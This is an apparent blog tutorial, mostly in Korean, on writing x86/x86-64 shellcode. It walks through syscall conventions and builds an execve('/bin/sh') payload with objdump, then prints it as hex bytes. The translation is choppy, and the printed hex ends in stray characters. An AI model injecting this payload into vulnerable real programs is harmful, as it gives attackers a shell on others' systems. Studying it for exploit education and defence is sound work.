반응형
Write shellcode comfortably.
32 - bit Syscall. 64 - bit Syscall. 구조 int $0x80 syscall 최대 6개 입력 ebx,ecx,edx,esi,edi,ebp rdi,rsi,rdx, r10,r9,r8 Ex) mov $0xb, %eax mov $0x3b, %rax lea string_addr, %ebx lea string_addr, %rdi mov $0, %ecx mov $0, %rsi mov $0, %edx mov $0, %rdx int $0x80 syscall
Ex2) shell.c
메모리에 있는 코드가 어디에 있든 rdi 레지스터에 "/bin/sh" 문자열 주소를 출력한다.
needl1() 및 needle1 레이블은 나중에 검색을 돕는 것이다.
즉 0xdeadbeef 상수가 있다.
cf) x86은 리틀 엔디안이므로 EF, BF, AD, DE와 4 제로 바이트로 표시된다.
위의 예제는 간단히 하기 위해 API를 잘못 사용하고 있다.
execve에 대한 2번째 및 3번째 인수는 문자열에 대한 포인터의 NULL 종료 배열 [=argv[] , envp[] ]을
가리키기로 되어 있다.
NULL argv와 envp로 "/bin/sh"를 실행하면 된다.
ubuntu: ~$ gcc shell.c ubuntu: ~$ ./a.out $
Ex) 간단한 쉘 게임.
$ objdump -d a.out | sed -n '/needle0/,/needle1/p' 00000000004004bf: 4004bf: eb 0e jmp 4004cf 00000000004004c1 : 4004c1: 5f pop %rdi 4004c2: 48 31 c0 xor %rax,%rax 4004c5: b0 3b mov $0x3b,%al 4004c7: 48 31 f6 xor %rsi,%rsi 4004ca: 48 31 d2 xor %rdx,%rdx 4004cd: 0f 05 syscall 00000000004004cf : 4004cf: e8 ed ff ff ff callq 4004c1 4004d4: 2f (bad) 4004d5: 62 (bad) 4004d6: 69 6e 2f 73 68 00 ef imul $0xef006873,0x2f(%rsi),%ebp 00000000004004dc :
offset 0x4dc 바로 전에 끝나고, 즉 29byte다.
$ echo $((0x4dc-0x4bf)) 29
$ xxd -s0x4bf -I32 -p a.out shellcode
$ cat shellcode eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef bead
반응형
'#Tip' 카테고리의 다른 글
WireShark and Packet Analysis (0) | 2018.05.03 |
---|---|
Checksec.sh. (0) | 2018.04.09 |
The default format for remote attacks in Python. (0) | 2018.04.09 |
Using objdump. (0) | 2018.04.09 |
Create a shellcode. (0) | 2018.04.09 |